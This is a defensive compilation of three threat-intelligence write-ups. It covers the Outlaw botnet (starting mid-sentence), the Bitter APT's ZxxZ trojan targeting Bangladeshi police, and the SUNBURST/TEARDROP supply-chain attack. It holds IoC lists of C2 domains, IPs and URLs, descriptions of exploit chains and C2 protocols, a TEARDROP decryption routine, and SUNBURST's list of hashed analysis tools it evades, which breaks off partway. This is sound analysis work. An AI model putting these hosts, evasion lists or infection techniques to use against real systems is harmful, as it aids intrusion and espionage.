group’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules, it appears that they’re going after enterprises who have yet to patch their systems, as well as companies with internet-facing systems with weak to no monitoring of traffic and activities. Considering the amount of resources needed to deploy all the necessary patches for an enterprise (such as quality testing and operations alignment), which implies costly downtime for operations and the hesitation to update all systems immediately, Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded. Save for a few iteration updates, combinations from previous deployments, and using the routines repetitively for every campaign, we found very little changes in the group’s toolkit, which allowed various honeypots across the Eastern European region to detect many of the sent binaries. Meanwhile, the group uses a wide range of IP addresses as input for scanning activities that are grouped by country, allowing them to attack certain regions or areas within particular periods of the year, as previously observed. We think the group has likely become more enterprising and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort. By shaping the attack, the group may be able to create niches in the underground, catering to the specific needs of their customers. Also aware of the existing laws in Europe, they can avoid prosecution in certain countries as long as they avoid attacking them. Collection of results and data from scanning in this manner might be easier to sort (while allowing them to stay under the radar), as compared to getting feedback from zombie bots deployed around the world simultaneously. We will continue to monitor this hacking group’s activities and their toolkit’s developments. Outlaw’s attack routines may not be new, but it still serves as a reminder for enterprises to update their systems regularly. Legacy system users may use their providers’ virtual patches. Users are advised to close unused ports, to secure ports and other internet-facing devices that are regularly open for system administrators’ support. Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing. ## Trend Micro solutions Users can consider adopting security solutions that can defend against malicious bot-related activities such as Outlaw’s through a cross-generational blend of threat defense techniques. Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads. With technologies that employ web/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities. A multi-layered connected network defense and complete visibility into all network traffic, in addition to next-generation intrusion prevention system (NGIPS), can help organizations stay a step ahead of threats that could compromise intangible assets. XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security and User Protection. ## Indicators of Compromise (IoCs) | SHA256 | Description | Detection Name | |--------|-------------|----------------| | 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972 | Cryptocurrency miner | Trojan.SH.MALXMR.UWEJP | | b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c74 | Shellbot | Backdoor.SH.SHELLBOT.AA | | 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c37619 | Tool | Trojan.Linux.SSHBRUTE.B | | fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9 | Cryptocurrency miner | Coinminer.Linux.MALXMR.SMD | | 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a7 | Cryptocurrency miner | Coinminer.Linux.MALXMR.SMD | ## URLs - 159.203.141.208 - 104.236.192.6 - 45.9.148.129:80 (Miner pool) - 45.9.148.125:80 (Miner pool) - http://www.minpop.com/sk12pack/idents.php (Command and control) - http://www.minpop.com/sk12pack/names.php (Command and control) ## Related Posts - Monero Miner-Malware Uses RADMIN, MIMIKATZ to Infect, Propagate via Vulnerability - Operation ENDTRADE: Finding Multi-Stage Backdoors that TICK - Outlaw Hacking Group’s Botnet Observed Spreading Miner, Perl-Based Backdoor - ‘Purple Fox’ Fileless Malware with Rookit Component Delivered by Rig Exploit Kit Now Abuses PowerShell
# Bitter APT Adds Bangladesh to Their Targets Cisco Talos has observed an ongoing malicious campaign since August 2021 from the Bitter APT group that appears to target users in Bangladesh, a change from the attackers' usual victims. As part of this, there's a new trojan based on Apost Talos is calling "ZxxZ," which includes remote file execution capability. Based on the similarities between the C2 server in this campaign and that of Bitter's previous campaign, we assess with moderate confidence that this campaign is operated by the Bitter APT group. ## Executive Summary Cisco Talos discovered an ongoing campaign operated by what we believe is the Bitter APT group since August 2021. This campaign is a typical example of the actor targeting South Asian government entities. This campaign targets an elite unit of the Bangladesh government with a themed lure document alleging to relate to the regular operational tasks in the victim's organization. The lure document is a spear-phishing email sent to high-ranking officers of the Rapid Action Battalion Unit of the Bangladesh police (RAB). The emails contain either a malicious RTF document or a Microsoft Excel spreadsheet weaponized to exploit known vulnerabilities. Once the victim opens the maldoc, the Equation Editor application is automatically launched to run the embedded objects containing the shellcode to exploit known vulnerabilities described by CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802 — all in Microsoft Office — then downloads the trojan from the hosting server and runs it on the victim's machine. The trojan masquerades as a Windows Security update service and allows the malicious actor to perform remote code execution, opening the door to other activities by installing other tools. In this campaign, the trojan runs itself, but the actor has other RATs and downloaders in their arsenal. Such surveillance campaigns could allow the threat actors to access the organization's confidential information and give their handlers an advantage over their competitors, regardless of whether they're state-sponsored. ## Bitter Threat Actor Bitter, also known as T-APT-17, is a suspected South Asian threat actor. They have been active since 2013, targeting energy, engineering, and government sectors in China, Pakistan, and Saudi Arabia. In their latest campaign, they have extended their targeting to Bangladeshi government entities. Bitter is mainly motivated by espionage. The adversary typically downloads malware onto compromised endpoints from their hosting server via HTTP and uses DNS to establish contact with the command and control. Bitter is known for exploiting known vulnerabilities in victims' environments. For example, in 2021, security researchers discovered that the adversary was exploiting the zero-day vulnerability CVE-2021-28310, a security flaw in Microsoft's Desktop Manager. Bitter is known to target both mobile and desktop platforms. Their arsenal mainly contains Bitter RAT, Artra downloader, SlideRAT, and AndroRAT. ## Infrastructure The actor's infrastructure consists of the C2 server (helpdesk[.]autodefragapp[.]com) and several domains that host the adversary's malware. The C2 host is helpdesk[.]autodefragapp[.]com. Its WhoIs record indicates that the domain autodefragapp[.]com registered it in November 2020 and later updated it on Nov. 3, 2021. We have seen the actor use this C2 in previous campaigns. The C2 domain resolved to 99[.]83[.]154[.]118 during the period of the campaign. This is a legitimate IP address for the AWS Global Accelerator networking service. Usually, the AWS Global Accelerator provides static IPs to the registrant, which allows the user to redirect traffic to their application or host for improved performance. In this case, we believe that the actor is using the AWS Global Accelerator to redirect traffic to their actual C2 host, which is parked behind the legitimate AWS service. We believe that the actor has employed this technique to conceal their identity. ## Attribution We assess with moderate confidence that this campaign is operated by Bitter based on the use of the same C2 IP address from previous campaigns and similarities in the decrypted strings of the payload, such as module names, payload executable name, paths, and the constants. The 99[.]83[.]154[.]118 IP also hosts mswsceventlog[.]net, according to Cisco Umbrella, a domain that was previously reported as Bitter's C2 server in a campaign against Pakistani government organizations. ## The Campaign Cisco Talos observed an ongoing campaign operated by the Bitter APT group since August 2021 targeting Bangladeshi government personnel with spear-phishing emails. The email contains a maldoc attachment and masquerades as a legitimate email. The sender asks the target to review or verify the attached maldoc, which is either a call data record (CDR), a list of phone numbers, or a list of registered cases. We have seen the actor use these themes in phishing emails in the past. The maldocs are an RTF document and Microsoft Excel spreadsheets. Examples of the specific subjects of the phishing emails are below: - Subject: CDR - Subject: Application for CDR - Subject: List of Numbers to be verified - Subject: List of registered cases The maldocs' file names are consistent with the phishing emails' themes, as seen in the list of file names below: - Passport Fee Dues.xlsx - List of Numbers to be verified.xlsx - ASP AVIJIT DAS.doc - Addl SP Hafizur Rahman.doc - Addl SP Hafizur Rahman.xlsx - Registered Cases List.xlsx The actor is using JavaMail with the Zimbra web client version 8.8.15_GA_4101 to send the emails. Zimbra is a collaborative software suite that includes an email server and a web client for messaging. The originating IP address and header information indicate the emails were sent from mail servers based in Pakistan, and the actor spoofed the sender details to make the email appear as though it was sent from Pakistani government organizations. The actor exploited a possible vulnerability in the Zimbra mail server. By modifying the Zimbra mail server configuration file, a user can send emails from a non-existing email account/domain. We have compiled a list of fake sender email addresses from this campaign: - cdrrab13bd@gmail[.]com - arc@desto[.]gov[.]pk - so.dc@pc[.]gov[.]pk - mem_psd@pc[.]gov[.]pk - chief_pia@pc[.]gov[.]pk - rab3tikatuly@gmail[.]com - ddscm2@pof[.]gov[.]pk ## The Infection Chain The infection chain begins with the spear-phishing email and either a malicious RTF document or an Excel spreadsheet attachment. When the victim opens the attachment, it launches the Microsoft Equation Editor application to execute the equations in the form of OLE objects and connects to the hosting server to download and run the payload. In the case of a malicious Excel spreadsheet, when the victim opens the file, it launches the Microsoft Equation Editor application to execute the embedded equation object and launches the task scheduler to configure two scheduled tasks. One of the scheduled tasks downloads the trojan "ZxxZ" into the public user's account space, while the other task runs the "ZxxZ". The payload runs as a Windows security update service on the victim's machine and establishes communication with the C2 to remotely download and execute files in the victim's environment. ### RTF Document The malicious RTF document is weaponized to exploit the stack overflow vulnerability CVE-2017-11882, which enables arbitrary code execution on victims' machines running vulnerable versions of Microsoft Office. The RTF document is embedded with an OLE object with the class name "Equation 3.0." It contains the shellcode as an equation formula created using Microsoft Equation Editor. When the victim opens the RTF file with Microsoft Word, it invokes the Equation Editor application and executes the equation formula containing the Return-Oriented Programming (ROP) gadgets. The ROP loads and executes the shell code located at the end of the maldocs in an encrypted format that connects to the malicious host olmajhnservice[.]com and downloads the payload from the URL hxxp[:]//olmajhnservice[.]/nxl/nx. The payload is downloaded in the folder "C:\$Utf" created by the shellcode and runs as a process on the victim's machine. ### Excel Spreadsheet The malicious Excel spreadsheet is weaponized to exploit the Microsoft Office memory corruption vulnerabilities CVE-2018-0798 and CVE-2018-0802. When the victim opens the Excel spreadsheet, it launches the Microsoft Equation Editor application to execute the embedded Microsoft Equation 3.0 objects. Once the Microsoft Equation Editor service executes the embedded objects, it invokes the scheduled task service to configure the task scheduler with the commands shown below: - Task 1: Rdx - Task 2: RdxFac The actor creates the folder "RdxFact" in the Windows tasks folder and schedules two tasks with the task names "Rdx" and "RdxFac" to run every five minutes. When the first task runs, the victim's machine attempts to connect to the hosting server through the URL and, using the cURL utility, downloads the "RdxFactory.exe" into the public user profile's music folder. RdxFactory.exe is the trojan downloader. After five minutes of execution of the first task, "Rdx," the second task, "RdxFac," runs to start the payload. Based on other related samples we discovered, the actor also uses different folder names, task names, and dropper file names in their campaigns. We noticed that the actor is using the cURL command-line utility to download the payload in the Windows environment. Systems running Windows 10 and later have the cURL utility, which the actor abuses in this campaign. ## The Payload The payload is a 32-bit Windows executable compiled in Visual C++ with a timestamp of Sept. 10, 2021. We named the trojan "ZxxZ" based on the name of a separator that the payload uses while sending information to the C2. This trojan is a downloader that downloads and executes the remote file. The executables were seen with the filenames "Update.exe", "ntfsc.exe", or "nx" in this campaign. They are either downloaded or dropped into the victim's "local application data" folder and run as a Windows Security update with medium integrity to elevate the privileges of a standard user. The actor uses common encoding techniques to obfuscate strings in the WinMain function to hide its behavior from static analysis tools. The malware searches for the Windows Defender and Kaspersky antivirus processes in the victim's machine by creating the snapshot of running processes using CreateToolhelp32Snapshot and iterates through each process using API Process32First and Process32Next. The information-gathering function gathers the victim's hostname, operating system product name, and the victim's username and writes them into a memory buffer. The C2 communicating function at offset 401C50 is called from the two other requests making functions to send the victim's information with the decrypted strings "xnb/dxagt5avbb2.php?txt=" and "data1.php?id=" to C2 and receive the response. The received response is a remote file saved into the "debug" folder and executed with the API "ShellExecuteA". In our research debugging environment, the remote file is similar to the trojan. ## C2 Communication For C2 communication, first, the trojan sends the victim's computer name, user name, a separator "ZxxZ," and the Windows version pulled from the registry. The server responds back with data in the format `<id><user>:"<Program name">`. Next, the malware requests the program data. The server sends back the data of the Portable Executable effectively matching the pattern: `<zero or more bytes>ZxxZ<PE data minus the MZ>`. It then saves the file to `%LOCALAPPDATA%\Debug\<program name>.exe` and tries to execute it. If the download is successful, the server sends back the request with the opcode DN-S, and in case of a failure, the opcode RN_E in their response. Based on our analysis, the opcode DN-S means "download successful" and RN_E stands for run error. If failed, the malware attempts to download the program data 225 times, and after that, it will launch itself and exit. ## Conclusion Organizations should be vigilant about the highly motivated threat actors who are known to conduct targeted attacks in their region. Threat actors usually emerge with smart techniques to accomplish their adversarial objectives, and we have seen such an attempt in this campaign with the addition of a new variant to their arsenal. In this current campaign, upon compromising the victim's machine and implanting the trojan ZxxZ - which has remote file execution capability - the adversary can deploy and run other tools from their arsenal to achieve their malicious objective. Organizations should have a layered defense strategy with the implementation of the latest detection rules and behavioral protections in their endpoint defense solutions. Not only with technical controls, but organizations should have matured incident response plans and have the organization's security posture streamlined to protect their environment against the latest threats. ## Coverage Ways our customers can detect and block this threat are listed below. Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance, and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. ## IOC ### Domains - olmajhnservice[.]com - levarisnetqlsvc[.]net - urocakpmpanel[.]com - tomcruefrshsvc[.]com - autodefragapp[.]com - helpdesk[.]autodefragapp[.]com ### URLs - http[://]autodefragapp[.]com/ - hxxp[://]olmajhnservice[.]com/updateReqServ10893x[.]php?x=035347 - hxxp[://]olmajhnservice[.]com/ - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-BKP&ct=BKP - hxxp[://]olmajhnservice[.]com/nxl/nx - hxxp[://]olmajhnservice[.]com/nxl/nx/ - hxxp[://]olmajhnservice[.]com/nt[.]php/?dt= - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-2&ct=2 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&amp - hxxp[://]olmajhnservice[.]com/nt[.]php?dt=%25computername%25-ex-1&amp - hxxp[://]olmajhnservice[.]com/nt[.]php - hxxp[://]olmajhnservice[.]com/nt[.]php/ - hxxp[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-1&amp;ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/ - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25computername%25-EX-3&ct=3 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3&ct=1 - hxxps[://]olmajhnservice[.]com/nt[.]php/?dt=%25username%25-EX-3&amp;ct=1 - hxxp[://]levarisnetqlsvc[.]net/drw/drw - hxxp[://]levarisnetqlsvc[.]net/lt[.]php - hxxp[://]levarisnetqlsvc[.]net/ - hxxps[://]levarisnetqlsvc[.]net/lt[.]php - hxxp[://]levarisnetqlsvc[.]net/jig/gij - hxxps[://]levarisnetqlsvc[.]net/lt[.]php/?dt=%25computername%25-LT-2&ct=LT - hxxp[://]urocakpmpanel[.]com/axl/ax - hxxp[://]urocakpmpanel[.]com/nt[.]php?dt=%25computername%25-**** - hxxps[://]urocakpmpanel[.]com/ - hxxp[://]urocakpmpanel[.]com/nt[.]php/?dt=%25computername%25-**** - hxxps[://]urocakpmpanel[.]com/nt[.]php?dt=%25computername - hxxp[://]urocakpmpanel[.]com/ - hxxp[://]urocakpmpanel[.]com:33324/ - hxxps[://]urocakpmpanel[.]com/nt[.]php ### SSL Certificates Thumbprints - 0cbf8c7ff9faf01a9b5c3874e9a9d49cbbf5037b - 25092b60d972e574ed593a468564de2394fa008b - 4fbde39a0735d1ad757038072cf541dfdc65faa3 - 5a972665b590cc77dcdfb4500c04acda5dc1cc4e - 530f597666afc147886f5ad651b5071d0cc894ba - 04a75df9b60290efb1a2d934570ad203a23f4e9c - aeb02ac0c0f0793651f32a3c0f594ce79ba99e82 ### Documents - b0b687977eee41ee7c3ed0d9d179e8c00181f0c0db64eebc0005a5c6325e8a82 - f7ed5eec6d1869498f2fca8f989125326b2d8cee8dcacf3bc9315ae7566963db - 490e9582b00e2622e56447f76de4c038ae0b658a022e6bc44f9eb0ddf0720de6 - b7765ff16309baacff3b19d1a1a5dd7850a1640392f64f19353e8a608b5a28c5 - ce922a20a73182c18101dae7e5acfc240deb43c1007709c20ea74c1dd35d2b12 - e4545764e0c54ed1e1321a038fa2c1921b5b70a591c95b24127f1b9de7212af8 ### Payload - fa0ed2faa3da831976fee90860ac39d50484b20bee692ce7f0ec35a15670fa92 - 3fdf291e39e93305ebc9df19ba480ebd60845053b0b606a620bf482d0f09f4d3 - 69b397400043ec7036e23c225d8d562fdcd3be887f0d076b93f6fcaae8f3dd61 - 90fd32f8f7b494331ab1429712b1735c3d864c8c8a2461a5ab67b05023821787
# SUNBURST, TEARDROP and the NetSec New Normal ## Foreword In December 2020, a large-scale cyberattack targeting many organizations – predominantly tech companies, mainly in the United States, but not only there – was discovered to have been going on for several months. The attack was of a degree of sophistication that led to a quick consensus of involvement by a foreign government, and was extraordinary in both the amount of care taken in crafting it and the exotic vector of entry; instead of the usual phishing or even exploitation, the attackers carried out an elaborate supply chain attack. In this post, we share a focused analysis of some choice features of the backdoor used (SUNBURST) and one of its payloads (TEARDROP), including an exhaustive deobfuscation of SUNBURST’s hashes encoding strings and an analysis of TEARDROP’s control flow and decryption method; and we share our perspective on what these findings say about the attack and the people behind it, as well as what bearing this attack has on the future of network security in general. ## Introduction Here’s a story you might have heard already: Mr. Exemplary CISO wakes up early one morning and goes to work as usual, a spring in his step and a bunch of one-time recovery passwords in his wallet that he never ever loses. He reaches the lobby, swipes his smart card which performs an Adi-Shamir-Level challenge-response scheme, and walks past reception where shoulder-surfers are shot on sight. He boots up his laptop, types the BIOS password which is three sentences from Moby Dick, presents his retina for scanning and waits patiently as the mail exchange server remotely verifies the integrity of his laptop down to the network card circuit design. A spear-phishing email reaches 40 of his colleagues, all of whom report the incident then delete the email without consciously registering the event. Somewhere on the third floor the signing certificate for a certain device driver expires, and the offending server spontaneously combusts, as per protocol. Just when he thinks life can’t get any better, Mr. Exemplary CISO receives one of his favorite things in the world: a software update notification. The updated DLL is signed with the right certificate, its hash had never been seen before, it’s almost identical byte-for-byte to the one sent last version, its sandbox run produces no suspicious behavior; and so the update is installed, and Mr. Exemplary CISO’s organization is, how goes the parlance, “pwned”, because the software supplier’s production server was compromised — via social engineering, an unpatched 1-day vulnerability or the admin password being password123, pick your favorite — and so a sufficiently clever attacker could access that server and flawlessly arrange all the above. There are so many ways that sufficiently clever attackers could make all our lives miserable, but usually don’t, and this whole ordeal is a somber reminder of that. President of Microsoft, Brad Smith, put it this way: “This is not ‘espionage as usual,’ even in the digital age [..] this is not just an attack on specific targets, but on the trust and reliability of the world’s critical infrastructure”. We’re not quite as eloquent and will just say that this isn’t the Sony hack and it can’t be dismissed with “don’t click update later, don’t click enable macros“. To deflect future attacks of this sort, defenders will have to get technical, get creative, and be willing to make trade-offs that would have seemed wasteful and paranoid before. Somewhere, the author of your favorite banking Trojan just read this news, raised an eyebrow and said “hey, will someone run me a port scan on notepad-plus-plus.org“. Even if every vendor of every popular piece of software does become hyper-vigilant now, we all can’t get too complacent trusting in their hyper-vigilance. That’s what we mean by the threat of a “NetSec New Normal”: an unsettling step into a future of zero trust. ## SUNBURST and the Art of Tactical Retreat Technical details of the SUNBURST backdoor are widely available now in greater abundance than you will ever require, which puts us at liberty to focus on one feature that interests us and perhaps hasn’t been drilled into quite like the others: the backdoor’s elaborate evasion scheme. The evasions employed by SUNBURST are similar in concept to sandbox evasions. Sandbox evasions are engineered to make sure that the malware doesn’t run on virtual machines designed to detect malware; SUNBURST’s evasions are engineered to make sure that the malware doesn’t run on machines belonging to people who have thought of the word “malware” in the last thirty days. We’ve seen malware that includes blacklists of forensic tools, AV processes and such — but 1. Usually these blacklists were used to violently smother these processes instead of opting not to run the malware at all; and 2. None of them were half as comprehensive as this one. The list is an OCD-level of thorough and can be legitimately used as a resource for reverse engineers to be acquainted with new tools (ever heard of pdfstreamdumper? Well, you have now). In-line with the overall theme of not wanting to be seen, this blacklist is not given in the form of an array of readable strings. Rather, the readable strings are replaced with FNV-1a hash values. This alone has been an occasional malware feature for years now (except the hipster-ish use of FNV-1a instead of SHA256, or even CRC32 checksums), but the feature that really stands out here is the dedication to maintaining an illusion of code legitimacy even when under direct review. The below code literally attempts to use a Jedi mind trick on the reader: “This is not the malware you are looking for, move along”. The list of processes to blacklist is a “service list” belonging to the “Orion Improvement Business Layer”, and these aren’t hash values of process names associated with AV engines — they are “timestamps”. The authors weren’t satisfied with just blacklisting processes and services. They also made sure to blacklist some device drivers and entire ranges of IP addresses (by translating the infected machine’s IP to a domain name and including domain names in the blacklist), a feature that was used to blacklist all internal Solarwinds domains. This teaches us that not only the attackers decided to use Solarwinds as a Uber to get to their targets, they also learned in-detail the topology of Solarwinds’ internal networks to evade the prying eyes of vigilant employees. In total, the list of hash-encoded strings embedded in SUNBURST is a paranoid manifesto of over 200 domains, providers and services that SUNBURST will just flatly refuse to deal with. Mark Russinovich put it tersely, saying that the attackers are “afraid of sysinternals“. Which goes to show, even the most advanced and persistent of attackers don’t believe themselves to be invincible — they believe in being just invincible enough, and above all, in not tempting fate. The full list of FNV-1a obfuscated strings included in SUNBURST is available in Addendum I. ## TEARDROP and Settling for the Ordinary This attack was, no doubt, an incredible technical achievement on a large scale. Check Point Threatcloud telemetry shows over 250 organizations that were infected with the SolarWinds backdoor, half of which are in the United States. The attackers dotted their i’s and crossed their t’s: they made sure to follow Solarwinds’ coding convention when pushing malicious code; they included a “logic bomb” in their initial payload to delay malicious activity a full two weeks from initial infection, and fool dynamic analysis; they limited their lateral movement to legitimate-seeming operations made with stolen, but valid, user credentials. For all these reasons, it’s noteworthy that this Übermensch-tier attack was used to deploy TEARDROP, a merely human malware dropper. At the time of discovery TEARDROP was a novel concoction: never-before-seen, possibly even tailor-made for this attack. It was only deployed against a select few targets. If you’re eager to feel its bits and bytes, there’s hashes courtesy of Talos and Sophos, as well as YARA rules by FireEye. TEARDROP runs in-memory but it does register a Windows service, which involves editing the registry. TEARDROP’s control flow is straightforward. One of the DLL exported functions, `Tk_CreateImageType`, is called during the service’s execution. This function writes a JPEG image to the current directory, the name of which varies; Symantec reports having come across `upbeat_anxiety.jpg` and `festive_computer.jpg`, and FireEye has seen a `gracious_truth.jpg`. To the untrained eye, these might seem to have been named by a poet; but more likely the image name is randomly generated by concatenating two words from a hard-coded word list that’s out there somewhere, on whatever machine was used to compile this piece of malware. TEARDROP then performs decryption using a homebrew cipher and a hardcoded key of length `0x96`. The process is implemented using the following gem of disassembly: At a high level, this reads like some sort of homebrew PRNG deciding which key byte to use each time, except the more you attempt to follow the actual process, the less sense it makes. Amazingly, when run dynamically, via some dark magic the generated key indexes simply map to `0, 1, 2, ..., 149, 0, 1, ...` and so on; that’s some new level of “pseudo” in “pseudo-random”! As it turns out, this isn’t a PRNG — it’s a compiler-optimized implementation of the modulo operation. Feast your eyes on its underlying reasoning, which is somewhat reminiscent of the Quake Fast Inverse Square Root Hack. If anything, this is mainly a testament to the power of dynamic analysis if we ever saw it. You weren’t going to statically reverse-engineer that. (Alternatively, it is a testament to the power of hex-rays decompiler, which sees through it immediately). Once the optimization is understood, the decryption code is equivalent to the following: ``` CTXT_START_OFFSET = 0x30 KEY_LENGTH = 0x96 PREV_CTXT_BYTE_INITIAL_DEFAULT = 0xcc prev_ctxt_byte = PREV_CTXT_BYTE_INITIAL_DEFAULT for i, ctxt_byte in enumerate(ciphertext[CTXT_START_OFFSET:]): ptxt_byte = ctxt_byte ^ (prev_ctxt_byte ^ key[i % KEY_LENGTH]) plaintext[i] = ptxt_byte prev_ctxt_byte = ctxt_byte ``` So, the original encryption was a simple rotating XOR, followed by also XORing every ciphertext byte with the previous ciphertext byte. There’s probably no purer distillation than this of “homebrew cipher thrown together in five minutes for a piece of malware”. This is a perfectly good obfuscation scheme, mind you, but for the thousandth time, there is no reason for that extra XOR to be there. No one is randomly launching the Kasiski attack against in-memory binary blobs in hopes of encountering rotating XOR ciphertexts. The decrypted payload has the following custom header format, which reads like the tl;dr of a proper PE header: And here’s a taste of the payload code itself. The first image shows the code of the decrypted BEACON payload found on TEARDROP while the second image shows the code of a known BEACON sample we picked randomly. We won’t fault you for not being able to find the differences between this picture and that picture. Even the PE base address is the same. TEARDROP’s BEACON payload is a payload included with Cobalt Strike (a “penetration testing” tool based on the well-known Metasploit framework). According to the Cobalt Strike website, BEACON’s purpose is to model advanced attackers. It supports network lateral movement across a variety of protocols, “passive” and “active” modes for C2 check-in, and a configurable C2 communication scheme that can be made to imitate other malware or blend in with the target network’s legitimate traffic. This really bears consideration. These attackers were riding on the tail of a network breach of almost unprecedented sophistication, and now they had to pick their weapon of choice for conducting lateral movement and data exfiltration. Armed with boundless ambition and abundant resources, they looked over their options and picked… Cobalt Strike? Even Dton, the Nigerian hustler who was covered here earlier this year and objectively ranks in the top 50 of least competent cybercriminals of all time, had an intuition that using well-known commodity malware will cost him in detection rates. We can’t argue with success, and this decision clearly paid off for the attackers, but we’re sure curious about the reasoning behind it. Possibly it was meant to make attribution harder, and we can’t rule out the use of higher-tier payloads for higher-tier targets. ## Conclusion: Where to from here? If we had to pick one actionable pithy phrase in the wake of this breach, it would be “Defense in Depth”. It seems like a cliché that has been with us since forever ago, but it apparently originates with a 2012 paper by the NSA, and the principle behind it is sound and relevant: don’t spend all your energy building a single wall. There are no perfect walls, and someday, someone is going to get through to the other side. When configuring a component, imagine an ongoing attack that is within reach of it now — what will help secure the component? Or an attack that has compromised the component already — how best to pre-empt the attack from propagating further? A lot of principles and practices go into this; the Principle of Least Privilege, to name one. We’re not Naïve: organizations want to Get Stuff Done, and the incentives they set effectively mandate a Principle of Most Privilege. Employees the world over are constantly demanding, “Just let me do this thing! Don’t make me do something ‘more secure’ that’s 4 times as complicated!”. Even as we rush to zealously Secure Everything, these concerns should be taken seriously. We couldn’t put it better than Avi Douglen has: “how often does strict password complexity policy enforced by IT [..] result in the user writing down his password, and taping it to his screen? That is a direct result of focusing too much on the computer aspect, at the expense of the human aspect. [..] Security at the expense of usability comes at the expense of security.” Looking at the binaries for SUNBURST and TEARDROP, we’ve learned that even this wildly successful operation had its rough edges. Far from a worry-free power trip, the attackers were wary all the while of having their activity seen at all, never mind recognized for what it was; extensive blacklists of domains and processes had to be created to make sure of that. We’ve learned that even a campaign on this level will not consist purely of ingenuous rabbit-pulls, textbook solutions and tour-de-forces; even while pulling off an astounding network security coup like this, at some points an actor will say “eh, it’ll do” and reach for the ole-reliable forgettable loader, rotating XOR encryption and used-to-death commodity tool. There’s something comforting about that; the attackers won this round, but maybe the game in general is not so hopeless — if defenders step up. ## Addendum I: List of FNV-1a Obfuscated Strings Included in SUNBURST **Processes:** - 2597124982561782591 = apimonitor-x64 - 2600364143812063535 = apimonitor-x86 - 13464308873961738403 = autopsy64 - 4821863173800309721 = autopsy - 12969190449276002545 = autoruns64 - 3320026265773918739 = autoruns - 12094027092655598256 = autorunsc64 - 10657751674541025650 = autorunsc - 11913842725949116895 = binaryninja - 5449730069165757263 = blacklight - 292198192373389586 = cff explorer - 12790084614253405985 = cutter - 5219431737322569038 = de4dot - 15535773470978271326 = debugview - 7810436520414958497 = diskmon - 13316211011159594063 = dnsd - 13825071784440082496 = dnspy - 14480775929210717493 = dotpeek32 - 14482658293117931546 = dotpeek64 - 8473756179280619170 = dumpcap - 3778500091710709090 = evidence center - 8799118153397725683 = exeinfope - 12027963942392743532 = fakedns - 576626207276463000 = fakenet - 7412338704062093516 = ffdec - 682250828679635420 = fiddler - 13014156621614176974 = fileinsight - 18150909006539876521 = floss - 10336842116636872171 = gdb - 12785322942775634499 = hiew32demo - 13260224381505715848 = hiew32 - 17956969551821596225 = hollows_hunter - 8709004393777297355 = idaq64 - 14256853800858727521 = idaq - 8129411991672431889 = idr - 15997665423159927228 = ildasm - 10829648878147112121 = ilspy - 9149947745824492274 = jd-gui - 3656637464651387014 = lordpe - 3575761800716667678 = officemalscanner - 4501656691368064027 = ollydbg - 10296494671777307979 = pdfstreamdumper - 14630721578341374856 = pe-bear - 4088976323439621041 = pebrowse64 - 9531326785919727076 = peid - 6461429591783621719 = pe-sieve32 - 6508141243778577344 = pe-sieve64 - 10235971842993272939 = pestudio - 2478231962306073784 = peview - 9903758755917170407 = peview - 14710585101020280896 = ppee - 13611814135072561278 = procdump64 - 2810460305047003196 = procdump - 2032008861530788751 = processhacker - 27407921587843457 = procexp64 - 6491986958834001955 = procexp - 2128122064571842954 = procmon - 10484659978517092504 = prodiscoverbasic - 8478833628889826985 = py2exedecompiler - 10463926208560207521 = r2agent - 7080175711202577138 = rabin2 - 8697424601205169055 = radare2 - 7775177810774851294 = ramcapture64 - 16130138450758310172 = ramcapture - 506634811745884560 = reflector - 18294908219222222902 = regmon - 3588624367609827560 = resourcehacker - 9555688264681862794 = retdec-ar-extractor - 5415426428750045503 = retdec-bin2llvmir - 3642525650883269872 = retdec-bin2pat - 13135068273077306806 = retdec-config - 3769837838875367802 = retdec-fileinfo - 191060519014405309 = retdec-getsig - 1682585410644922036 = retdec-idr2pat - 7878537243757499832 = retdec-llvmir2hll - 13799353263187722717 = retdec-macho-extractor - 1367627386496056834 = retdec-pat2yara - 12574535824074203265 = retdec-stacofin - 16990567851129491937 = retdec-unpacker - 8994091295115840290 = retdec-yarac - 